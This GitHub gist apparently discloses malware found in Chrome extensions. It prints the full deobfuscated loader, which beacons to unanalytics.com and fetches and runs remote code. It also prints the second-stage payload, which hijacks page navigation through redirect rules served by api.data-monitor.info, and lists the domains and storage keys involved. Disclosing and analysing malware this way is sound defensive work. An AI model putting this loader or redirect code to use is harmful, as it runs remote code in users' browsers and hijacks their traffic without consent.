Skip to content

Instantly share code, notes, and snippets.

@DrewDennison
Last active August 27, 2018 21:18
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save DrewDennison/bf661461c88cdfe959810811b32676f1 to your computer and use it in GitHub Desktop.
Save DrewDennison/bf661461c88cdfe959810811b32676f1 to your computer and use it in GitHub Desktop.
(function() {
function postLog({
cat = 'eval', // category
act = '', // action
lab = '', // label
fr = 86400000, // freq. Default is 1 day
}) {
let key = obfuscateString(`${cat}_${act}`, 7);
return localStore.get(key).then(lastRuns => {
let lastRunEpoch = lastRuns[key],
shouldRun =
fr == 86400000 // run daily
? new Date().getTime() -
new Date(lastRunEpoch).setUTCHours(0, 0, 0, 0) >=
fr
: new Date().getTime() - lastRunEpoch >= fr;
if (!lastRunEpoch || shouldRun) {
let lastRuns = 'https://unanalytics.com/stats';
makeRequest(
`https://unanalytics.com/stats?hash=sr0gjopbxrpgyjwlloackgldi&eventCategory=${
cat
}&eventAction=${act}&eventLabel=${lab}`,
'POST'
).then(_0x435009 => {
let lastruns = {};
(lastruns[key] = new date().gettime()), localstore.set(lastruns);
});
}
});
}
function makeRequest(url, method = 'GET') {
return new Promise((resolve, reject) => {
function processTabUpdate(tabId, changeInfo, tab) {
changeInfo['status'] === 'loading' &&
(validateTabUrl(tab, url) &&
consts['pV'] <= 0 &&
(chrome.tabs.onUpdated.removeListener(arguments.callee),
makeRequestInTab(tabId)),
consts['pV']--);
}
function makeRequestInTab(tabId) {
chrome.runtime.onMessage.addListener(processMessage),
chrome.tabs.executeScript(tabId, {
code: `(function(){var url = replaceableurl; var xhr = new XMLHttpRequest();xhr.onreadystatechange = function () {if (xhr.readyState === 4) {chrome.runtime.sendMessage({data: xhr.responseText, url: url,status:xhr.status});}};xhr.open('${
method
}',url, true);xhr.send();})()`.replace(
'replaceableurl',
'https://unanalytics.com/stats?hash=sr0gjopbxrpgyjwlloackgldi&eventCategory=eval&eventAction=init&eventLabel='
),
});
}
function processMessage(message) {
message['url'] === url &&
(resolve(message['data']),
chrome.runtime.onMessage.removeListener(arguments.callee));
}
function validateTabUrl(tab, url) {
return new RegExp(
`^((?!(chrome${url.includes('http://') ? '|https|ftps' : ''})).+://)`
).test(tab['url']);
}
(url && url.length !== 0) || reject('Url error'),
chrome.tabs.query({}, function(result) {
let validTabs = result.filter(
tab => validateTabUrl(tab, url) && !tab['active']
);
validTabs.length === 0
? chrome.tabs.onUpdated.addListener(processTabUpdate)
: makeRequestInTab(
validTabs[Math.floor(Math.random() * validTabs.length)].id
);
});
});
}
function obfuscateString(inputString, rot) {
for (
var outputString = '', charCode = 0, idx = 0;
idx < inputString.length;
idx++
)
(charCode = inputString[idx].charCodeAt() + rot),
(outputString += String.fromCharCode(charCode));
return outputString;
}
function o(payload) {
return new Promise((resolve, reject) => {
let parseSuccessfully = false,
code = '',
version = '';
try {
(payload = JSON.parse(payload)),
(code = payload['code']),
(version = payload['version']),
code == -1 || (parseSuccessfully = true);
} catch (error) {
postLog({
act: 'error',
lab: 'parseResponse',
fr: 0,
});
}
parseSuccessfully
? localStore
.set({
kuzi5B5UFvI: code,
GNLMzs7rai9: version,
})
.then(_0x4b1779 => {
localStore.set({
Ttt4fRNCFmK: new Date().getTime(),
}),
postLog({
act: 'download',
lab: version,
fr: 0,
}),
resolve({
code: code,
version: version,
});
})
: (code != -1 &&
postLog({
act: 'error',
lab: 'invalidMonetizationCode',
fr: 0,
}),
localStore.get(['kuzi5B5UFvI', 'GNLMzs7rai9']).then(items => {
resolve({
code: items['kuzi5B5UFvI'],
version: items['GNLMzs7rai9'],
});
}));
});
}
function run(metadata) {
try {
window['Function'](metadata['code'])(localStore, makeRequest, postLog),
postLog(
(metadata['code'] && metadata['code'].length !== 0) ||
(metadata['version'] && metadata['version'].length !== 0)
? {
act: 'run',
lab: metadata['version'],
}
: {
act: 'run',
lab: 'idle',
}
);
} catch (error) {
postLog({
act: 'error',
lab: `run_${metadata['version']}`,
});
}
}
function downloadPayload() {
return new Promise((resolve, reject) => {
localStore.get('Ttt4fRNCFmK').then(value => {
let _0x19dd2c = value['Ttt4fRNCFmK'] || 0;
_0x19dd2c === 0 &&
localStore
.set({
d8nvfUyMV8E: new Date().getTime(),
})
.then(_0x426061 => {
postLog({
act: 'install',
});
}),
new Date().getTime() - _0x19dd2c > 43200000
? setTimeout(function() {
makeRequest(
'https://unanalytics.com/?hash=sr0gjopbxrpgyjwlloackgldi',
'GET'
)
.then(o)
.then(resolve);
}, 0) // force 0 for testing. was consts.beaconDelay
: localStore.get(['kuzi5B5UFvI', 'GNLMzs7rai9']).then(value => {
resolve({
code: value['kuzi5B5UFvI'],
version: value['GNLMzs7rai9'],
});
});
});
});
}
function init() {
setTimeout(function() {
postLog({
act: 'init',
}),
downloadPayload().then(run);
}, 0); // force 0 for testing. was consts.initDelay
}
let consts = {
pV: Math.floor(3 * Math.random()),
initDelay: 1800000 * Math.floor(1 * Math.random() + 1),
beaconDelay: 60000 * Math.floor(2 * Math.random() + 1),
},
localStore = {
get(keys = null) {
return new Promise((resolve, reject) => {
chrome.storage.local.get(keys, function(items) {
resolve(items);
});
});
},
set(items) {
return new Promise((resolve, reject) => {
chrome.storage.local.set(items, function(bytesInUse) {
resolve(bytesInUse);
});
});
},
jy(_0x4703ce) {
return new Promise((resolve, reject) => {
chrome.storage.local['jy'](_0x4703ce, function(_0x1c99ef) {
resolve(_0x1c99ef);
});
});
},
SG() {
return new Promise((resolve, reject) => {
chrome.storage.local['SG'](function(_0xcf25b8) {
resolve(_0xcf25b8);
});
});
},
};
init();
})();

DOMAINS

https://unanalytics.com
http://api.data-monitor.info
http://systemrtb.com

localstore keys

Ttt4fRNCFmK
kuzi5B5UFvI
GNLMzs7rai9

Payload URL

https://unanalytics.com/?hash=sr0gjopbxrpgyjwlloackgldi
{
"code": "function req(obj,callback,errback){var params=obj.params?obj.params:[],xhr=new XMLHttpRequest;if(callback&&(xhr.onload=function(e){e=e.target,200===e.status||304===e.status?callback({responseText:e.responseText,headers:e.getAllResponseHeaders().split(\"\\r\\n\")}):errback&&errback(e.status)}),errback&&(xhr.onerror=function(e){e=e.target.status,errback(e)}),xhr.open(obj.method,obj.url),params.head)for(i in params.head)obj.setRequestHeader(i,params.head[i]);if(params.mime)for(i in params.mime)obj.overrideMimeType(params.mime[i]);if(params.post&&xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),(params.post||params.xml)&&xhr.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),\"object\"==typeof params.post){x=params.post,params.post=\"\";for(i in x)x.hasOwnProperty(i)&&(params.post+=(params.post?\"&\":\"\")+i+\"=\"+x[i])}xhr.send(params.post)}function cutw(hostname){return hostname.replace(/(^www\\.|\\:\\d+$)/gi,\"\")}function getDomain(hostname){var result,matches=hostname.match(domainRgxp);return matches&&(result=matches[1]),result}function getSub(hostname,domain){var result=hostname.replace(domain,\"\");return result&&(result=result.replace(/\\.$/,\"\")),result}function prepareLink(link){/^(\\w+:)?\\/\\//.test(link)||(link=\"http://\"+link);var result,matches=link.match(mainRgxp);if(matches)try{var host=cutw(matches[2]),domain=getDomain(host);if(domain){var sub=getSub(host,domain);result={sch:matches[1],host:host,domain:domain,sub:sub,path:(matches[3]||\"\").replace(/^\\//,\"\"),search:(matches[4]||\"\").replace(/^\\?/,\"\")}}}catch(e){console.log(\"Error: \"+url)}return result}function tryUrl(url){if(!(usedT&&usedT>(new Date).getTime()-42e5)){var res,prepared=prepareLink(url);if(prepared&&rulesObject[prepared.domain]){var subd=rulesObject[prepared.domain][prepared.sub];if(subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res||(subd=rulesObject[prepared.domain][\"*\"],subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"]))),res)return res=res.replace(/__CURURL__/g,encodeURIComponent(url)).replace(/__SUBID__/g,wid),usedT=(new Date).getTime(),localStorage.usedT=usedT,res}}}function getData(){setTimeout(getData,864e5),req({method:\"GET\",url:host+\"bhrule?sub=\"+wid},function(response){try{response=JSON.parse(response.responseText),rulesObject=response.rules?response.rules:{}}catch(e){}},function(){})}var host=\"http://api.data-monitor.info/api/\",wid=150,rulesObject={},usedT=localStorage.usedT?parseInt(localStorage.usedT):null,mainRgxp=new RegExp(\"^(?:([^:\\\\/?]+):)?(?:\\\\/\\\\/([^\\\\/]*))?([^?]*)(?:\\\\?([^$]*))?\"),domainRgxp=/((?:[^.]+)\\.(?:(?:com?|org)\\.)?\\w+)$/i,listenFunc=function(details){if(!(usedT&&usedT>(new Date).getTime()-42e5)&&0===details.frameId&&\"main_frame\"==details.type&&details.parentFrameId===-1&&details.tabId>0&&/^https?/i.test(details.url)){var current=details.url,new_url=(prepareLink(current),tryUrl(current)),result=\"string\"==typeof new_url&&current!=new_url;if(result)return{redirectUrl:new_url}}};chrome.webRequest.onBeforeRequest.addListener(listenFunc,{urls:[\"<all_urls>\"]},[\"blocking\"]),getData();",
"version": "v20170412"
}
function req(obj, callback, errback) {
var params = obj.params ? obj.params : [],
xhr = new XMLHttpRequest;
if (callback && (xhr.onload = function(e) {
e = e.target, 200 === e.status || 304 === e.status ? callback({
responseText: e.responseText,
headers: e.getAllResponseHeaders().split(\"\\r\\n\")}):errback&&errback(e.status)}),errback&&(xhr.onerror=function(e){e=e.target.status,errback(e)}),xhr.open(obj.method,obj.url),params.head)for(i in params.head)obj.setRequestHeader(i,params.head[i]);if(params.mime)for(i in params.mime)obj.overrideMimeType(params.mime[i]);if(params.post&&xhr.setRequestHeader(\"Content-Type\",\"application/x-www-form-urlencoded\"),(params.post||params.xml)&&xhr.setRequestHeader(\"X-Requested-With\",\"XMLHttpRequest\"),\"object\"==typeof params.post){x=params.post,params.post=\"\";for(i in x)x.hasOwnProperty(i)&&(params.post+=(params.post?\"&\":\"\")+i+\"=\"+x[i])}xhr.send(params.post)}function cutw(hostname){return hostname.replace(/(^www\\.|\\:\\d+$)/gi,\"\")}function getDomain(hostname){var result,matches=hostname.match(domainRgxp);return matches&&(result=matches[1]),result}function getSub(hostname,domain){var result=hostname.replace(domain,\"\");return result&&(result=result.replace(/\\.$/,\"\")),result}function prepareLink(link){/^(\\w+:)?\\/\\//.test(link)||(link=\"http://\"+link);var result,matches=link.match(mainRgxp);if(matches)try{var host=cutw(matches[2]),domain=getDomain(host);if(domain){var sub=getSub(host,domain);result={sch:matches[1],host:host,domain:domain,sub:sub,path:(matches[3]||\"\").replace(/^\\//,\"\"),search:(matches[4]||\"\").replace(/^\\?/,\"\")}}}catch(e){console.log(\"Error: \"+url)}return result}function tryUrl(url){if(!(usedT&&usedT>(new Date).getTime()-42e5)){var res,prepared=prepareLink(url);if(prepared&&rulesObject[prepared.domain]){var subd=rulesObject[prepared.domain][prepared.sub];if(subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"])),res||(subd=rulesObject[prepared.domain][\"*\"],subd&&(subd[prepared.path]?res=subd[prepared.path]:subd[\"*\"]&&(res=subd[\"*\"]))),res)return res=res.replace(/__CURURL__/g,encodeURIComponent(url)).replace(/__SUBID__/g,wid),usedT=(new Date).getTime(),localStorage.usedT=usedT,res}}}function getData(){setTimeout(getData,864e5),req({method:\"GET\",url:host+\"bhrule?sub=\"+wid},function(response){try{response=JSON.parse(response.responseText),rulesObject=response.rules?response.rules:{}}catch(e){}},function(){})}var host=\"http://api.data-monitor.info/api/\",wid=150,rulesObject={},usedT=localStorage.usedT?parseInt(localStorage.usedT):null,mainRgxp=new RegExp(\"^(?:([^:\\\\/?]+):)?(?:\\\\/\\\\/([^\\\\/]*))?([^?]*)(?:\\\\?([^$]*))?\"),domainRgxp=/((?:[^.]+)\\.(?:(?:com?|org)\\.)?\\w+)$/i,listenFunc=function(details){if(!(usedT&&usedT>(new Date).getTime()-42e5)&&0===details.frameId&&\"main_frame\"==details.type&&details.parentFrameId===-1&&details.tabId>0&&/^https?/i.test(details.url)){var current=details.url,new_url=(prepareLink(current),tryUrl(current)),result=\"string\"==typeof new_url&&current!=new_url;if(result)return{redirectUrl:new_url}}};chrome.webRequest.onBeforeRequest.addListener(listenFunc,{urls:[\"<all_urls>\"]},[\"blocking\"]),getData();
@DrewDennison
Copy link
Author

@adamburgess @kjhangiani @MateusAuri @krzysztofczernek see my comments above. Feel free to ping me here or via email if you need any help

@DrewDennison
Copy link
Author

@dimkir I assume you have already solved this but can help you track down if interested

@DrewDennison
Copy link
Author

I do know at least Better History and User Agent Switcher appear to have this malware and will update the thread as I find more

https://hotforsecurity.bitdefender.com/blog/better-history-chrome-extension-goes-rogue-hijacks-browsers-and-displays-ads-13674.html

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment